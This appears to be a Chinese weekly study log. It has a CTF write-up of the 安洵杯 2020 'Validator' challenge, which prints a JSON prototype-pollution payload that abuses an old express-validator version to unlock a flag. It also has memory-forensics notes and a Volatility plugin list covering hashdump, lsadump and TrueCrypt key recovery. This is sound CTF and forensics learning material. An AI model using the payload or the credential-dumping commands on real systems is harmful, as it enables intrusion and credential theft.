完成事项

  • 刷题
  • 学习取证

未完成的事项

  • 暂时没有

下周待做的事

  • 学学学
  • 挖洞

[安洵杯 2020]Validator

扫目录扫到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')

const app = express()
const port = 9000

app.use(express.json())
app.use(express.urlencoded({
extended: true
}))

let info = []

const {
body,
validationResult
} = require('express-validator')

middlewares = [
body('*').trim(),
body('password').isLength({ min: 6 }),
]

app.use(middlewares)

readFile = function (filename) {
var data = fs.readFileSync(filename)
return data.toString()
}

app.post("/login", (req, res) => {
console.log(req.body)
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}

if (req.body.password == "D0g3_Yes!!!"){
console.log(info.system_open)
if (info.system_open == "yes"){
const flag = readFile("/flag")
return res.status(200).send(flag)
}else{
return res.status(400).send("The login is successful, but the system is under test and not open...")
}
}else{
return res.status(400).send("Login Fail, Password Wrong!")
}
})

app.get("/", (req, res) => {
const login_html = readFile(path.join(__dirname, "login.html"))
return res.status(200).send(login_html)
})

app.use(express_static("./"))

app.listen(port, () => {
console.log(`server listening on ${port}`)
})

就有个密码,而且还登不上去提示没想的这么简单

没看出个所以然看了眼package.json有了想法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"name": "validator",
"version": "1.0.0",
"main": "app.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
"express": "^4.17.1",
"express-static": "^1.2.6",
"express-validator": "^6.6.0",
"fs": "0.0.1-security",
"lodash": "^4.17.16"
}
}

validator?还是低版本的,正好前几天刷博客刷到了,应该是原型链污染没错了

那么什么是validator?在Node.js中,”validator”是一个常用的数据验证库,用于验证和处理不同类型的数据。它提供了一组方便的函数和方法,用于验证字符串、数字、日期、URL、电子邮件等常见数据类型的有效性,这个洞确实小众,基本上查不到相关漏洞复现

1
2
3
{
"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222
}
1
2
3
4
{
"password":"D0g3_Yes!!!",
"a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes"
}

陇剑杯2021内存分析1&2

备赛今年金砖,开始学习单机取证,y1s1,vo这环境还是太难装了,各种tools报错,特别是vo3,vo2版本稍好,虽然有报错但是至少能运行

首先拿到任何镜像都需要做的一件事就是查看目标镜像的相关信息,确认是Win7SP1x64

1
python2 vol.py -f Target.vmem imageinfo

根据下上述的信息,那么我们可以通过lsadump得出第一问flag,虽然也可以用mimikatz的但是我这环境似乎出了些许问题,报错

第二问,我们直接看所有文件,应该是可以找到的,

好吧,老实了

后面接一个grep找罢,找到了,

down下来看看是什么,解压后就这些东西,没看懂,怎么还有enc加密,去看了wp才知道是需要华为的数据恢复工具才能解出

https://github.com/RealityNet/kobackupdec

这里有看了眼wp,原来华为修复时不能只有一个单一的enc文件,还需要一个exe文件,而这个exe文件也在这个文件内,密码就是flag1

内存分析-相关知识

上周恶补的

1.内存分析技术时⽤于⽹络攻击,恶意软件,数据泄露等等

2.取证的时候磁盘镜像⽂件后缀有(dd,E01,qcow1)

内存镜像⽂件后缀有(raw,vmem,img,data,dmp)

3.拿到镜像第⼀步就是查看镜像相关信息

python2 vol.py -f xxx imageinfo

python2 vol.py -f xxx –profile=xxx xxx

4.BitLocker加密与解密

这是windows⾃带的驱动器加密,能够同时⽀持FAT和NTFS俩种格式,可以加密整个系统分区,也可以

加密可移动的编写存储设备

⼀般使⽤AES加密(128或者256)的运算加密进⾏加密,其加密的安全可靠性得到了保证

5.TrueCrypt的取证

1)通过密码解密:加载对应的加密⽂件或是设备,输⼊密码后点击确定,即可解密

2)通过密钥⽂件解密:加载对应的加密⽂件或是设备勾选使⽤密钥⽂件,添加密钥⽂件,即可解密

3)通过内存镜像进⾏解密

6.passware:密码破解⼯具集,它将所有的密码恢复模块全部集成到⼀个主程序中

7.并且从相关资料中可以得知,主机名会出储存在\REGISTRY\MACHINE\SYSTEM中的

ControlSet001\Control\ComputerName\ComputerName条⽬中,便可以直接读取

1. 查看当前内存镜像中的⽤户密码信息,可以使⽤printkey命令。例如,要查看

SAM\Domains\Account\Users\Names的⽤户名和密码信息,可以输⼊`printkey -K

“SAM\Domains\Account\Users\Names”`。例如volatility -f 1.vmem –profile=Win7SP1x64

printkey -K “SAM\Domains\Account\Users\Names”

2. 查看⽤户名密码信息(哈希值需要john爆破),可以使⽤hashdump命令。例如查看当前系统ip和

主机名,可以提交Flag{ip:主机名}。例如volatility -f 1.vmem –profile=Win7SP1x64 hashdump

3. 查看进程pslist。例如,要查看已知进程,可以输⼊pslist

4. 隐藏或解链的进程psscan。例如,要查看服务名称,可以输⼊svcscan

25. 查看浏览器历史记录,获取当前系统浏览器搜索过的关键词,可以使⽤iehistory命令。例如,

要获取当前系统浏览器搜索过的关键词,可以输⼊iehistory

6. 查看⽹络连接,可以使⽤netscan命令。例如,要获取当前系统的IP和主机名,可以输⼊

netscan

7. 查看⽹络连接connscan。例如,要查看⽹络连接,可以输⼊connscan

8. 查看命令⾏操作,显示cmd历史命令,可以使⽤cmdscan命令。例如,要显示cmd历史命令,

可以输⼊cmdscan

9. 查看进程命令⾏参数(具体⼀些可疑进程的参数指令),可以使⽤cmdline命令。例如,要列出

某⼀进程加载的所有dll⽂件,可以输⼊dlllist -p 2588

10. 扫描所有的⽂件列表,可以使⽤filescan命令。例如,要扫描所有⽂件列表,可以输⼊

filescan

11. 查看⽂件内容,可以使⽤dmpfiles命令。例如,要查看⽂件内容,可以输⼊dmpfiles

12. 查看当前展示的notepad内容,可以使⽤notepad命令。例如,要查看当前展示的 notepad ⽂

本,可以输⼊notepad

13. 显示有关编辑控件的信息,可以使⽤editbox命令。例如,要显示有关编辑控件的信息,可以

输⼊editbox

14. 提取进程memdump。例如,要提取指定进程,常⽤foremost 来分离⾥⾯的⽂件,需要指定进

程-p [pid] 和输出⽬录 -D。例如,要提取进程号为332的进程,可以输⼊`memdump -p 332 -

D XX/`。

15. 屏幕截图,可以使⽤screenshot命令。例如,要保存基于GDI窗⼝的伪截屏,可以输⼊

screenshot –dump-dir=./

16. 查看注册表配置单元hivelist。例如,要列出所有的注册表项及其虚拟地址和物理地址,可以输

hivelist

17. 查看注册表键名hivedmp。例如,要查看注册表键值,可以输⼊`hivedump -o

0xfffff8a001032410`。

18. 获取主机名,可以使⽤printkey命令。例如,要获取主机名,可以输⼊`printkey -K

“ControlSet001\Control\ComputerName\ComputerName”`。

19. 列出⽤户名,可以使⽤printkey命令。例如,要列出⽤户名,可以输⼊`printkey -K

“SAM\Domains\Account\Users\Names”`。

320. 查看运⾏程序相关的记录,⽐如最后⼀次更新时间,运⾏过的次数等。可以使⽤userassist命

令。例如,要查看运⾏程序相关的记录,可以输⼊userassist

21. 最⼤程序提取信息timeliner。例如,要将所有操作系统事件以时间线的⽅式展开,可以输⼊

timeliner

22. 查看剪贴板信息clipboard。例如,要查看剪贴板信息,可以输⼊clipboard

23. 显示关于计算机及其操作系统的详细配置信息(插件)systeminfo。例如,要显示关于计算机

及其操作系统的详细配置信息,可以输⼊systeminfo

24. 恢复被删除的⽂件mftparser。例如,要恢复被删除的⽂件,可以输⼊mftparser

25. 查看环境变量envars。例如,要查看环境变量,可以输⼊envars

26. 列出某⼀进程加载的所有dll⽂件dlllist。例如,要列出某⼀进程加载的所有dll⽂件,需要指定

进程-p [pid]。例如,要列出进程号为2588的进程加载的所有dll⽂件,可以输⼊`dlllist -p

2588`。

27. 程序版本信息verinfo。例如,要列出PE|程序版本信息,可以输⼊verinfo

28. 产看进程树,可以轻松了解各进程之间的关系:⽗进程与⼦进程 pstree。例如,要在进程中

PPID⽐PID还⼤,那可能这个进程有异常程序。

29.envars 显示进程的环境变量

30.使⽤strings时⼀定要记着使⽤-e l防⽌有遗漏⽂件

31.swp是vim编辑⽂件时意外中断时产⽣

vim -r ./message.swp

32.raw,vmem,img可以使⽤volatility

33. vboxinfo:转储 virtualbox 信息(可能有提示)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
amcache:输出 AmCache 信息
apihooks:检测进程和内核内存中的 API 钩⼦
atoms:打印会话和窗⼝⼯作站的原⼦表
atomscan:扫描原⼦表的内存池
auditpol:输出 HKLMSECURITYPolicyPolAdtEv 中的审计策略
bigpools:使⽤ BigPagePoolScanner 转储⼤⻚⾯池
bioskbd:从实模式内存读取键盘缓冲区
cachedump:从内存中转储域缓存哈希
callbacks:输出系统范围的通知例程
clipboard:提取 Windows 剪贴板内容
cmdline:显示进程的命令⾏参数
cmdscan:通过扫描 _COMMAND_HISTORY 提取命令历史
connections:输出开放连接列表(仅适⽤于 Windows XP 和 2003
connscan:扫描 TCP 连接的内存池
consoles:通过扫描 _CONSOLE_INFORMATION 提取命令历史
crashinfo:转储崩溃转储信息
deskscan:扫描 tagDESKTOP(桌⾯)的内存池
devicetree:显示设备树
dlldump:从进程地址空间转储 DLL
dlllist:输出每个进程加载的 DLL 列表
driverirp:检测驱动 IRP 钩⼦
drivermodule:将驱动对象与内核模块关联
driverscan:扫描驱动对象的内存池
dumpcerts:转储 RSA 私钥和公钥 SSL 密钥
dumpfiles:提取内存映射和缓存⽂件
dumpregistry:将注册表⽂件转储到磁盘
editbox:显示编辑控件的信息(Listbox 实验性)
envars:显示进程的环境变量
eventhooks:输出 Windows 事件钩⼦的详细信息
evtlogs:提取 Windows 事件⽇志(仅限 XP/2003
filescan:扫描⽂件对象的内存池
gahti:转储 USER 句柄类型信息
gditimers:输出已安装的 GDI 定时器和回调
gdt:显示全局描述符表
getservicesids:获取注册表中的服务名称并返回计算的 SID
getsids:输出拥有每个进程的 SID
handles:输出每个进程的开放句柄列表
hashdump:从内存中转储密码哈希(LM/NTLM)
hibinfo:转储休眠⽂件信息
hivedump:输出注册表 hive 信息
hivelist:输出注册表 hive 列表
hivescan:扫描注册表 hive 的内存池
hpakextract:从 HPAK ⽂件中提取物理内存
hpakinfo:输出 HPAK ⽂件的信息
idt:显示中断描述符表
iehistory:重建 Internet Explorer 缓存/历史记录
imagecopy:将物理地址空间复制为原始 DD 镜像
imageinfo:识别镜像的信息
impscan:扫描导⼊函数的调⽤
joblinks:输出进程作业链接信息
kdbgscan:搜索并转储潜在的 KDBG 值
kpcrscan:搜索并转储潜在的 KPCR 值
ldrmodules:检测未链接的 DLL
lsadump:从注册表转储(解密的)LSA 机密
machoinfo:转储 Mach-O ⽂件格式信息
malfind:查找隐藏和注⼊的代码
mbrparser:扫描并解析潜在的主引导记录 (MBR)
memdump:转储进程的可寻址内存
memmap:输出内存映射
messagehooks:列出桌⾯和线程窗⼝的消息钩⼦
mftparser:扫描并解析潜在的 MFT 条⽬
moddump:转储内核驱动到可执⾏⽂件样本
modscan:扫描内核模块的内存池
modules:输出加载的模块列表
multiscan:同时扫描多种对象
mutantscan:扫描互斥对象的内存池
notepad:列出当前显示的记事本⽂本
objtypescan:扫描 Windows 对象类型对象
patcher:基于⻚⾯扫描修补内存
poolpeek:可配置的内存池扫描插件
printkey:输出注册表键及其⼦键和值
privs:显示进程权限
procdump:转储进程到可执⾏⽂件样本
pslist:通过 EPROCESS 列表输出所有正在运⾏的进程
psscan:扫描进程对象的内存池
pstree:以树状显示进程列表
psxview:使⽤多种进程列表查找隐藏进程
qemuinfo:转储 Qemu 信息
raw2dmp:将物理内存样本转换为 windbg 崩溃转储
screenshot:根据 GDI 窗⼝保存伪截图
servicediff:列出 Windows 服务(类似 Plugx)
sessions:列出 _MM_SESSION_SPACE(⽤户登录会话)的详细信息
shellbags:输出 ShellBags 信息
shimcache:解析应⽤兼容性 Shim 缓存注册表键
shutdowntime:从注册表输出机器的关机时间
sockets:输出开放的套接字列表
sockscan:扫描 TCP 套接字对象的内存池
ssdt:显示 SSDT 条⽬
strings:将物理偏移与虚拟地址匹配(可能耗时,信息量⼤)
svcscan:扫描 Windows 服务
symlinkscan:扫描符号链接对象的内存池
volatility -f 1.vmem --profile=Win7SP1x64 screenshot --dump-dir=./
screenshot:保存基于GDI窗⼝的伪截屏
屏幕截图screenshot
thrdscan:扫描线程对象的内存池
threads:调查 _ETHREAD 和 _KTHREAD
timeliner:从内存中的各种⼯件创建时间线
timers:输出内核定时器及相关模块 DPC
truecryptmaster:恢复 TrueCrypt 7.1a 主密钥
truecryptpassphrase:查找 TrueCrypt 缓存的密码短语
truecryptsummary:输出 TrueCrypt 概要
unloadedmodules:输出已卸载的模块列表
userassist:输出 UserAssist 注册表键和信息
userhandles:转储 USER 句柄表
vaddump:转储 VAD 部分到⽂件
vadinfo:转储 VAD 信息
vadtree:以树状显示 VAD 树
vadwalk:遍历 VAD 树
vboxinfo:转储 virtualbox 信息
verinfo:输出 PE 镜像的版本信息
vmwareinfo:转储 VMware VMSS/VMSN 信息
volshell:在内存镜像中进⼊ Shell
windows:输出桌⾯窗⼝(详细信息)
wintree:输出 Z-Order 桌⾯窗⼝树
wndscan:扫描窗⼝⼯作站的内存池

感想

也许正如风信子师傅说的那样,我太迷茫了,技术上什么都知道一些但是什么都不精通,确实该静下心潜心研究一门技术